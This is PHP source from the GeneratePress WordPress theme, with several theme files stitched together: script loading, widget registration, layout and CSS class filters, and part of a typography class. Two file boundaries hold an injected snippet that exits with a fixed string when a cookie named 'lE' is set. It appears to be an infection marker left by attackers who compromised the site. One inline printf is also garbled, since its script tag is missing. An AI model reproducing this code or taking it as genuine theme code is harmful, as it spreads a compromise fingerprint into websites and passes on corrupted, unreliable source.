if ( 'enable' === generate_get_option( 'nav_search' ) ) {
wp_enqueue_script( 'generate-navigation-search', $dir_uri . "/assets/js/navigation-search{$suffix}.js", array(), GENERATE_VERSION, true );
wp_localize_script(
'generate-navigation-search',
'generatepressNavSearch',
array(
'open' => esc_attr__( 'Open Search Bar', 'generatepress' ),
'close' => esc_attr__( 'Close Search Bar', 'generatepress' ),
)
);
}
if ( 'enable' === generate_get_option( 'back_to_top' ) ) {
wp_enqueue_script( 'generate-back-to-top', $dir_uri . "/assets/js/back-to-top{$suffix}.js", array(), GENERATE_VERSION, true );
wp_localize_script(
'generate-back-to-top',
'generatepressBackToTop',
apply_filters(
'generate_back_to_top_js_args',
array(
'smooth' => true,
)
)
);
}
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
}
if ( ! function_exists( 'generate_widgets_init' ) ) {
add_action( 'widgets_init', 'generate_widgets_init' );
/**
* Register widgetized area and update sidebar with default widgets
*/
function generate_widgets_init() {
$widgets = array(
'sidebar-1' => __( 'Right Sidebar', 'generatepress' ),
'sidebar-2' => __( 'Left Sidebar', 'generatepress' ),
'header' => __( 'Header', 'generatepress' ),
'footer-1' => __( 'Footer Widget 1', 'generatepress' ),
'footer-2' => __( 'Footer Widget 2', 'generatepress' ),
'footer-3' => __( 'Footer Widget 3', 'generatepress' ),
'footer-4' => __( 'Footer Widget 4', 'generatepress' ),
'footer-5' => __( 'Footer Widget 5', 'generatepress' ),
'footer-bar' => __( 'Footer Bar', 'generatepress' ),
'top-bar' => __( 'Top Bar', 'generatepress' ),
);
foreach ( $widgets as $id => $name ) {
register_sidebar(
array(
'name' => $name,
'id' => $id,
'before_widget' => '',
'before_title' => apply_filters( 'generate_start_widget_title', '' ),
)
);
}
}
}
if ( ! function_exists( 'generate_smart_content_width' ) ) {
add_action( 'wp', 'generate_smart_content_width' );
/**
* Set the $content_width depending on layout of current page
* Hook into "wp" so we have the correct layout setting from generate_get_layout()
* Hooking into "after_setup_theme" doesn't get the correct layout setting
*/
function generate_smart_content_width() {
global $content_width;
$container_width = generate_get_option( 'container_width' );
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$layout = generate_get_layout();
if ( 'left-sidebar' === $layout ) {
$content_width = $container_width * ( ( 100 - $left_sidebar_width ) / 100 );
} elseif ( 'right-sidebar' === $layout ) {
$content_width = $container_width * ( ( 100 - $right_sidebar_width ) / 100 );
} elseif ( 'no-sidebar' === $layout ) {
$content_width = $container_width;
} else {
$content_width = $container_width * ( ( 100 - ( $left_sidebar_width + $right_sidebar_width ) ) / 100 );
}
}
}
if ( ! function_exists( 'generate_page_menu_args' ) ) {
add_filter( 'wp_page_menu_args', 'generate_page_menu_args' );
/**
* Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link.
*
* @since 0.1
*
* @param array $args The existing menu args.
* @return array Menu args.
*/
function generate_page_menu_args( $args ) {
$args['show_home'] = true;
return $args;
}
}
if ( ! function_exists( 'generate_disable_title' ) ) {
add_filter( 'generate_show_title', 'generate_disable_title' );
/**
* Remove our title if set.
*
* @since 1.3.18
*
* @param bool $title Whether the title is displayed or not.
* @return bool Whether to display the content title.
*/
function generate_disable_title( $title ) {
if ( is_singular() ) {
$disable_title = get_post_meta( get_the_ID(), '_generate-disable-headline', true );
if ( $disable_title ) {
$title = false;
}
}
return $title;
}
}
if ( ! function_exists( 'generate_resource_hints' ) ) {
add_filter( 'wp_resource_hints', 'generate_resource_hints', 10, 2 );
/**
* Add resource hints to our Google fonts call.
*
* @since 1.3.42
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function generate_resource_hints( $urls, $relation_type ) {
$handle = generate_is_using_dynamic_typography() ? 'generate-google-fonts' : 'generate-fonts';
$hint_type = apply_filters( 'generate_google_font_resource_hint_type', 'preconnect' );
$has_crossorigin_support = version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' );
if ( wp_style_is( $handle, 'queue' ) ) {
if ( $relation_type === $hint_type ) {
if ( $has_crossorigin_support && 'preconnect' === $hint_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
$urls[] = array(
'href' => 'https://fonts.googleapis.com',
'crossorigin',
);
} else {
$urls[] = 'https://fonts.gstatic.com';
$urls[] = 'https://fonts.googleapis.com';
}
}
if ( 'dns-prefetch' !== $hint_type ) {
$googleapis_index = array_search( 'fonts.googleapis.com', $urls );
if ( false !== $googleapis_index ) {
unset( $urls[ $googleapis_index ] );
}
}
}
return $urls;
}
}
if ( ! function_exists( 'generate_remove_caption_padding' ) ) {
add_filter( 'img_caption_shortcode_width', 'generate_remove_caption_padding' );
/**
* Remove WordPress's default padding on images with captions
*
* @param int $width Default WP .wp-caption width (image width + 10px).
* @return int Updated width to remove 10px padding.
*/
function generate_remove_caption_padding( $width ) {
return $width - 10;
}
}
if ( ! function_exists( 'generate_enhanced_image_navigation' ) ) {
add_filter( 'attachment_link', 'generate_enhanced_image_navigation', 10, 2 );
/**
* Filter in a link to a content ID attribute for the next/previous image links on image attachment pages.
*
* @param string $url The input URL.
* @param int $id The ID of the post.
*/
function generate_enhanced_image_navigation( $url, $id ) {
if ( ! is_attachment() && ! wp_attachment_is_image( $id ) ) {
return $url;
}
$image = get_post( $id );
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison -- Intentially loose.
if ( ! empty( $image->post_parent ) && $image->post_parent != $id ) {
$url .= '#main';
}
return $url;
}
}
if ( ! function_exists( 'generate_categorized_blog' ) ) {
/**
* Determine whether blog/site has more than one category.
*
* @since 1.2.5
*
* @return bool True of there is more than one category, false otherwise.
*/
function generate_categorized_blog() {
if ( false === ( $all_the_cool_cats = get_transient( 'generate_categories' ) ) ) { // phpcs:ignore
// Create an array of all the categories that are attached to posts.
$all_the_cool_cats = get_categories(
array(
'fields' => 'ids',
'hide_empty' => 1,
// We only need to know if there is more than one category.
'number' => 2,
)
);
// Count the number of categories that are attached to the posts.
$all_the_cool_cats = count( $all_the_cool_cats );
set_transient( 'generate_categories', $all_the_cool_cats );
}
if ( $all_the_cool_cats > 1 ) {
// This blog has more than 1 category so twentyfifteen_categorized_blog should return true.
return true;
} else {
// This blog has only 1 category so twentyfifteen_categorized_blog should return false.
return false;
}
}
}
if ( ! function_exists( 'generate_category_transient_flusher' ) ) {
add_action( 'edit_category', 'generate_category_transient_flusher' );
add_action( 'save_post', 'generate_category_transient_flusher' );
/**
* Flush out the transients used in {@see generate_categorized_blog()}.
*
* @since 1.2.5
*/
function generate_category_transient_flusher() {
// Like, beat it. Dig?
delete_transient( 'generate_categories' );
}
}
if ( ! function_exists( 'generate_get_default_color_palettes' ) ) {
/**
* Set up our colors for the color picker palettes and filter them so you can change them.
*
* @since 1.3.42
*/
function generate_get_default_color_palettes() {
$palettes = array(
'#000000',
'#FFFFFF',
'#F1C40F',
'#E74C3C',
'#1ABC9C',
'#1e72bd',
'#8E44AD',
'#00CC77',
);
return apply_filters( 'generate_default_color_palettes', $palettes );
}
}
add_filter( 'generate_fontawesome_essentials', 'generate_set_font_awesome_essentials' );
/**
* Check to see if we should include the full Font Awesome library or not.
*
* @since 2.0
*
* @param bool $essentials The existing value.
* @return bool
*/
function generate_set_font_awesome_essentials( $essentials ) {
if ( generate_get_option( 'font_awesome_essentials' ) ) {
return true;
}
return $essentials;
}
add_filter( 'generate_dynamic_css_skip_cache', 'generate_skip_dynamic_css_cache' );
/**
* Skips caching of the dynamic CSS if set to false.
*
* @since 2.0
*
* @param bool $cache The existing value.
* @return bool
*/
function generate_skip_dynamic_css_cache( $cache ) {
if ( ! generate_get_option( 'dynamic_css_cache' ) ) {
return true;
}
return $cache;
}
add_filter( 'wp_headers', 'generate_set_wp_headers' );
/**
* Set any necessary headers.
*
* @param array $headers The existing headers.
*
* @since 2.3
*/
function generate_set_wp_headers( $headers ) {
$headers['X-UA-Compatible'] = 'IE=edge';
return $headers;
}
add_filter( 'generate_after_element_class_attribute', 'generate_set_microdata_markup', 10, 2 );
/**
* Adds microdata to elements.
*
* @since 3.0.0
* @param string $output The existing output after the class attribute.
* @param string $context What element we're targeting.
*/
function generate_set_microdata_markup( $output, $context ) {
if ( 'left_sidebar' === $context || 'right_sidebar' === $context ) {
$context = 'sidebar';
}
if ( 'footer' === $context ) {
return $output;
}
if ( 'site-info' === $context ) {
$context = 'footer';
}
$microdata = generate_get_microdata( $context );
if ( $microdata ) {
return $microdata;
}
return $output;
}
add_action( 'wp_footer', 'generate_do_a11y_scripts' );
/**
* Enqueue scripts in the footer.
*
* @since 3.1.0
*/
function generate_do_a11y_scripts() {
if ( apply_filters( 'generate_print_a11y_script', true ) ) {
// Add our small a11y script inline.
printf(
'',
'!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("mousedown",function(){e.classList.add("using-mouse")}),e.addEventListener("keydown",function(){e.classList.remove("using-mouse")})}}();'
);
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Adds HTML markup.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_body_classes' ) ) {
add_filter( 'body_class', 'generate_body_classes' );
/**
* Adds custom classes to the array of body classes.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_body_classes( $classes ) {
$sidebar_layout = generate_get_layout();
$navigation_location = generate_get_navigation_location();
$navigation_alignment = generate_get_option( 'nav_alignment_setting' );
$navigation_dropdown = generate_get_option( 'nav_dropdown_type' );
$header_alignment = generate_get_option( 'header_alignment_setting' );
$content_layout = generate_get_option( 'content_layout_setting' );
// These values all have defaults, but we like to be extra careful.
$classes[] = ( $sidebar_layout ) ? $sidebar_layout : 'right-sidebar';
$classes[] = ( $navigation_location ) ? $navigation_location : 'nav-below-header';
$classes[] = ( $content_layout ) ? $content_layout : 'separate-containers';
if ( ! generate_is_using_flexbox() ) {
$footer_widgets = generate_get_footer_widgets();
$header_layout = generate_get_option( 'header_layout_setting' );
$classes[] = ( $header_layout ) ? $header_layout : 'fluid-header';
$classes[] = ( '' !== $footer_widgets ) ? 'active-footer-widgets-' . absint( $footer_widgets ) : 'active-footer-widgets-3';
}
if ( 'enable' === generate_get_option( 'nav_search' ) ) {
$classes[] = 'nav-search-enabled';
}
// Only necessary for nav before or after header.
if ( ! generate_is_using_flexbox() && 'nav-below-header' === $navigation_location || 'nav-above-header' === $navigation_location ) {
if ( 'center' === $navigation_alignment ) {
$classes[] = 'nav-aligned-center';
} elseif ( 'right' === $navigation_alignment ) {
$classes[] = 'nav-aligned-right';
} elseif ( 'left' === $navigation_alignment ) {
$classes[] = 'nav-aligned-left';
}
}
if ( 'center' === $header_alignment ) {
$classes[] = 'header-aligned-center';
} elseif ( 'right' === $header_alignment ) {
$classes[] = 'header-aligned-right';
} elseif ( 'left' === $header_alignment ) {
$classes[] = 'header-aligned-left';
}
if ( 'click' === $navigation_dropdown ) {
$classes[] = 'dropdown-click';
$classes[] = 'dropdown-click-menu-item';
} elseif ( 'click-arrow' === $navigation_dropdown ) {
$classes[] = 'dropdown-click-arrow';
$classes[] = 'dropdown-click';
} else {
$classes[] = 'dropdown-hover';
}
if ( is_singular() ) {
// Page builder container metabox option.
// Used to be a single checkbox, hence the name/true value. Now it's a radio choice between full width and contained.
$content_container = get_post_meta( get_the_ID(), '_generate-full-width-content', true );
if ( $content_container ) {
if ( 'true' === $content_container ) {
$classes[] = 'full-width-content';
}
if ( 'contained' === $content_container ) {
$classes[] = 'contained-content';
}
}
if ( has_post_thumbnail() ) {
$classes[] = 'featured-image-active';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_top_bar_classes' ) ) {
add_filter( 'generate_top_bar_class', 'generate_top_bar_classes' );
/**
* Adds custom classes to the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_top_bar_classes( $classes ) {
$classes[] = 'top-bar';
if ( 'contained' === generate_get_option( 'top_bar_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
$classes[] = 'top-bar-align-' . esc_attr( generate_get_option( 'top_bar_alignment' ) );
return $classes;
}
}
if ( ! function_exists( 'generate_right_sidebar_classes' ) ) {
add_filter( 'generate_right_sidebar_class', 'generate_right_sidebar_classes' );
/**
* Adds custom classes to the right sidebar.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_right_sidebar_classes( $classes ) {
$classes[] = 'widget-area';
$classes[] = 'sidebar';
$classes[] = 'is-right-sidebar';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$classes[] = 'grid-' . $right_sidebar_width;
$classes[] = 'tablet-grid-' . $right_sidebar_tablet_width;
$classes[] = 'grid-parent';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'both-left':
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$classes[] = 'pull-' . ( 100 - $total_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'tablet-pull-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_left_sidebar_classes' ) ) {
add_filter( 'generate_left_sidebar_class', 'generate_left_sidebar_classes' );
/**
* Adds custom classes to the left sidebar.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_left_sidebar_classes( $classes ) {
$classes[] = 'widget-area';
$classes[] = 'sidebar';
$classes[] = 'is-left-sidebar';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'grid-' . $left_sidebar_width;
$classes[] = 'tablet-grid-' . $left_sidebar_tablet_width;
$classes[] = 'mobile-grid-100';
$classes[] = 'grid-parent';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'left-sidebar':
$classes[] = 'pull-' . ( 100 - $left_sidebar_width );
$classes[] = 'tablet-pull-' . ( 100 - $left_sidebar_tablet_width );
break;
case 'both-sidebars':
case 'both-left':
$classes[] = 'pull-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-pull-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_content_classes' ) ) {
add_filter( 'generate_content_class', 'generate_content_classes' );
/**
* Adds custom classes to the content container.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_content_classes( $classes ) {
$classes[] = 'content-area';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'grid-parent';
$classes[] = 'mobile-grid-100';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'right-sidebar':
$classes[] = 'grid-' . ( 100 - $right_sidebar_width );
$classes[] = 'tablet-grid-' . ( 100 - $right_sidebar_tablet_width );
break;
case 'left-sidebar':
$classes[] = 'push-' . $left_sidebar_width;
$classes[] = 'grid-' . ( 100 - $left_sidebar_width );
$classes[] = 'tablet-push-' . $left_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $left_sidebar_tablet_width );
break;
case 'no-sidebar':
$classes[] = 'grid-100';
$classes[] = 'tablet-grid-100';
break;
case 'both-sidebars':
$classes[] = 'push-' . $left_sidebar_width;
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-push-' . $left_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
case 'both-right':
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
case 'both-left':
$classes[] = 'push-' . $total_sidebar_width;
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-push-' . $total_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_header_classes' ) ) {
add_filter( 'generate_header_class', 'generate_header_classes' );
/**
* Adds custom classes to the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_header_classes( $classes ) {
$classes[] = 'site-header';
if ( 'contained-header' === generate_get_option( 'header_layout_setting' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
if ( generate_has_inline_mobile_toggle() ) {
$classes[] = 'has-inline-mobile-toggle';
}
return $classes;
}
}
if ( ! function_exists( 'generate_inside_header_classes' ) ) {
add_filter( 'generate_inside_header_class', 'generate_inside_header_classes' );
/**
* Adds custom classes to inside the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_inside_header_classes( $classes ) {
$classes[] = 'inside-header';
if ( 'full-width' !== generate_get_option( 'header_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_navigation_classes' ) ) {
add_filter( 'generate_navigation_class', 'generate_navigation_classes' );
/**
* Adds custom classes to the navigation.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_navigation_classes( $classes ) {
$classes[] = 'main-navigation';
if ( 'contained-nav' === generate_get_option( 'nav_layout_setting' ) ) {
if ( generate_is_using_flexbox() ) {
$navigation_location = generate_get_navigation_location();
if ( 'nav-float-right' !== $navigation_location && 'nav-float-left' !== $navigation_location ) {
$classes[] = 'grid-container';
}
} else {
$classes[] = 'grid-container';
$classes[] = 'grid-parent';
}
}
if ( generate_is_using_flexbox() ) {
$nav_alignment = generate_get_option( 'nav_alignment_setting' );
if ( 'center' === $nav_alignment ) {
$classes[] = 'nav-align-center';
} elseif ( 'right' === $nav_alignment ) {
$classes[] = 'nav-align-right';
} elseif ( is_rtl() && 'left' === $nav_alignment ) {
$classes[] = 'nav-align-left';
}
if ( generate_has_menu_bar_items() ) {
$classes[] = 'has-menu-bar-items';
}
}
$submenu_direction = 'right';
if ( 'left' === generate_get_option( 'nav_dropdown_direction' ) ) {
$submenu_direction = 'left';
}
if ( 'nav-left-sidebar' === generate_get_navigation_location() ) {
$submenu_direction = 'right';
if ( 'both-right' === generate_get_layout() ) {
$submenu_direction = 'left';
}
}
if ( 'nav-right-sidebar' === generate_get_navigation_location() ) {
$submenu_direction = 'left';
if ( 'both-left' === generate_get_layout() ) {
$submenu_direction = 'right';
}
}
$classes[] = 'sub-menu-' . $submenu_direction;
return $classes;
}
}
if ( ! function_exists( 'generate_inside_navigation_classes' ) ) {
add_filter( 'generate_inside_navigation_class', 'generate_inside_navigation_classes' );
/**
* Adds custom classes to the inner navigation.
*
* @param array $classes The existing classes.
* @since 1.3.41
*/
function generate_inside_navigation_classes( $classes ) {
$classes[] = 'inside-navigation';
if ( 'full-width' !== generate_get_option( 'nav_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_menu_classes' ) ) {
add_filter( 'generate_menu_class', 'generate_menu_classes' );
/**
* Adds custom classes to the menu.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_menu_classes( $classes ) {
$classes[] = 'menu';
$classes[] = 'sf-menu';
return $classes;
}
}
if ( ! function_exists( 'generate_footer_classes' ) ) {
add_filter( 'generate_footer_class', 'generate_footer_classes' );
/**
* Adds custom classes to the footer.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_footer_classes( $classes ) {
$classes[] = 'site-footer';
if ( 'contained-footer' === generate_get_option( 'footer_layout_setting' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
if ( is_active_sidebar( 'footer-bar' ) ) {
$classes[] = 'footer-bar-active';
$classes[] = 'footer-bar-align-' . esc_attr( generate_get_option( 'footer_bar_alignment' ) );
}
return $classes;
}
}
if ( ! function_exists( 'generate_inside_footer_classes' ) ) {
add_filter( 'generate_inside_footer_class', 'generate_inside_footer_classes' );
/**
* Adds custom classes to the footer.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_inside_footer_classes( $classes ) {
$classes[] = 'footer-widgets-container';
if ( 'full-width' !== generate_get_option( 'footer_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_main_classes' ) ) {
add_filter( 'generate_main_class', 'generate_main_classes' );
/**
* Adds custom classes to the element
*
* @param array $classes The existing classes.
* @since 1.1.0
*/
function generate_main_classes( $classes ) {
$classes[] = 'site-main';
return $classes;
}
}
add_filter( 'generate_page_class', 'generate_do_page_container_classes' );
/**
* Adds custom classes to the #page element
*
* @param array $classes The existing classes.
* @since 3.0.0
*/
function generate_do_page_container_classes( $classes ) {
$classes[] = 'site';
$classes[] = 'grid-container';
$classes[] = 'container';
if ( generate_is_using_hatom() ) {
$classes[] = 'hfeed';
}
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
return $classes;
}
add_filter( 'generate_comment-author_class', 'generate_do_comment_author_classes' );
/**
* Adds custom classes to the comment author element
*
* @param array $classes The existing classes.
* @since 3.0.0
*/
function generate_do_comment_author_classes( $classes ) {
$classes[] = 'comment-author';
if ( generate_is_using_hatom() ) {
$classes[] = 'vcard';
}
return $classes;
}
if ( ! function_exists( 'generate_post_classes' ) ) {
add_filter( 'post_class', 'generate_post_classes' );
/**
* Adds custom classes to the element.
* Remove .hentry class from pages to comply with structural data guidelines.
*
* @param array $classes The existing classes.
* @since 1.3.39
*/
function generate_post_classes( $classes ) {
if ( 'page' === get_post_type() || ! generate_is_using_hatom() ) {
$classes = array_diff( $classes, array( 'hentry' ) );
}
return $classes;
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* This file handles typography on the front-end.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Handles all of our typography option output.
*/
class GeneratePress_Typography {
/**
* Class instance.
*
* @access private
* @var $instance Class instance.
*/
private static $instance;
/**
* Initiator
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor
*/
public function __construct() {
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_google_fonts' ) );
add_filter( 'generate_editor_styles', array( $this, 'add_editor_styles' ) );
// Load fonts the old way in versions before 5.8 as block_editor_settings_all didn't exist.
if ( version_compare( $GLOBALS['wp_version'], '5.8', '<' ) ) {
add_action( 'enqueue_block_editor_assets', array( $this, 'enqueue_google_fonts' ) );
}
}
/**
* Generate our Google Fonts URI.
*/
public static function get_google_fonts_uri() {
$fonts = generate_get_option( 'font_manager' );
if ( empty( $fonts ) ) {
return;
}
$google_fonts_uri = '';
$data = array();
foreach ( $fonts as $font ) {
if ( empty( $font['googleFont'] ) ) {
continue;
}
$variants = array();
if ( ! empty( $font['googleFontVariants'] ) ) {
// Remove spaces from string.
$variants = str_replace( ' ', '', $font['googleFontVariants'] );
// Turn string into array.
$variants = explode( ',', $variants );
}
$variants = apply_filters( 'generate_google_font_variants', $variants, $font['fontFamily'] );
$name = str_replace( ' ', '+', $font['fontFamily'] );
$name = str_replace( '"', '', $name );
if ( $variants ) {
$data[] = $name . ':' . implode( ',', $variants );
} else {
$data[] = $name;
}
}
if ( ! empty( $data ) ) {
$font_args = apply_filters(
'generate_google_font_args',
array(
'family' => implode( '|', $data ),
'subset' => null,
'display' => generate_get_option( 'google_font_display' ),
)
);
$google_fonts_uri = add_query_arg( $font_args, 'https://fonts.googleapis.com/css' );
}
return $google_fonts_uri;
}
/**
* Enqueue Google Fonts if they're set.
*/
public function enqueue_google_fonts() {
if ( ! generate_is_using_dynamic_typography() ) {
return;
}
$google_fonts_uri = self::get_google_fonts_uri();
if ( $google_fonts_uri ) {
wp_enqueue_style( 'generate-google-fonts', $google_fonts_uri, array(), GENERATE_VERSION );
}
}
/**
* Build our typography CSS.
*
* @param string $module The name of the module we're generating CSS for.
*/
public static function get_css( $module = 'core' ) {
$typography = generate_get_option( 'typography' );
// Get data for a specific module so CSS can be compiled separately.
$typography = array_filter(
(array) $typography,
function( $data ) use ( $module ) {
return ( isset( $data['module'] ) && $data['module'] === $module );
}
);
if ( empty( $typography ) ) {
return '';
}
$css = new GeneratePress_CSS();
$body_selector = 'body';
$paragraph_selector = 'p';
foreach ( $typography as $key => $data ) {
$options = wp_parse_args(
$data,
self::get_defaults()
);
$selector = self::get_css_selector( $options['selector'] );
if ( 'custom' === $selector ) {
$selector = $options['customSelector'];
}
$font_family = self::get_font_family( $options['fontFamily'] );
$css->set_selector( $selector );
$css->add_property( 'font-family', $font_family );
$css->add_property( 'font-weight', $options['fontWeight'] );
$css->add_property( 'text-transform', $options['textTransform'] );
$css->add_property( 'font-style', $options['fontStyle'] );
$css->add_property( 'text-decoration', $options['textDecoration'] );
$css->add_property( 'font-size', $options['fontSize'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacing'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeight'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottom'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeight'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottom'], false, $options['marginBottomUnit'] );
}
$css->start_media_query( generate_get_media_query( 'tablet' ) );
$css->set_selector( $selector );
$css->add_property( 'font-size', $options['fontSizeTablet'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacingTablet'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeightTablet'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottomTablet'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeightTablet'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottomTablet'], false, $options['marginBottomUnit'] );
}
$css->stop_media_query();
$css->start_media_query( generate_get_media_query( 'mobile' ) );
$css->set_selector( $selector );
$css->add_property( 'font-size', $options['fontSizeMobile'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacingMobile'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeightMobile'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottomMobile'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeightMobile'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottomMobile'], false, $options['marginBottomUnit'] );
}
$css->stop_media_query();
}
return $css->css_output();
}
/**
* Get the CSS selector.
*
* @param string $selector The saved selector to look up.
*/
public static function get_css_selector( $selector ) {
switch ( $selector ) {
case 'body':
$selector = 'body, button, input, select, textarea';
break;
case 'main-title':
$selector = '.main-title';
break;
case 'site-description':
$selector = '.site-description';
break;
case 'primary-menu-items':
$selector = '.main-navigation a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items';
break;
case 'primary-sub-menu-items':
$selector = '.main-navigation .main-nav ul ul li a';
break;
case 'primary-menu-toggle':
$selector = '.main-navigation .menu-toggle';
break;
case 'buttons':
$selector = 'button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link';
break;
case 'all-headings':
$selector = 'h1, h2, h3, h4, h5, h6';
break;
case 'single-content-title':
$selector = 'h1.entry-title';
break;
case 'archive-content-title':
$selector = 'h2.entry-title';
break;
case 'top-bar':
$selector = '.top-bar';
break;
case 'widget-titles':
$selector = '.widget-title';
break;
case 'footer':
$selector = '.site-info';
break;
}
return apply_filters( 'generate_typography_css_selector', $selector );
}
/**
* Get our full font family value.
*
* @param string $font_family The font family name.
*/
